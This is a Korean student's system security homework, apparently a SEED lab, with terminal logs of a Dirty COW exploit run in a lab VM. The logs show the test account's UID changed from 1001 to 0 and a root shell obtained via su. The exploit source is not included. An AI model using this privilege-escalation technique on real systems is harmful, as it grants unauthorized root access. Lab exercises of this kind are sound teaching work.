

시스템보안 12주차 과제

Dirty COW 공격 실행 이전 cat /etc/passwd | grep testcow 명령으로 testcow 계정의 UID 출력

```
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:

Is the information correct? [Y/n] y
[11/16/2025 22:01] seed@ubuntu:~$ cat /etc/paswd | grep testcow
cat: /etc/paswd: No such file or directory
[11/16/2025 22:02] seed@ubuntu:~$ cat /etc/passwd | grep testcow
testcow:x:1001:1002:,:/home/testcow:/bin/bash
[11/16/2025 22:02] seed@ubuntu:~$
```

Dirty COW 공격 실행 이후 cat /etc/passwd | grep testcow 명령으로 testcow 계정의 UID 출력

```
[11/16/2025 22:12] seed@ubuntu:~$ gcc cow_attack_passwd.c -lpthread
[11/16/2025 22:12] seed@ubuntu:~$ ./a.out
^C
[11/16/2025 22:13] seed@ubuntu:~$ cat /etc/passwd | grep testcow
testcow:x:0000:1002:,:/home/testcow:/bin/bash
[11/16/2025 22:13] seed@ubuntu:~$
```

su testcow 명령으로 testcow 계정으로 접속 후 id 명령

```
[11/16/2025 22:13] seed@ubuntu:~$ cat /etc/passwd | grep testcow
testcow:x:0000:1002:,:/home/testcow:/bin/bash
[11/16/2025 22:13] seed@ubuntu:~$ su testcow
Password:
root@ubuntu:/home/seed# id
uid=0(root) gid=1002(testcow) groups=0(root),1002(testcow)
root@ubuntu:/home/seed#
```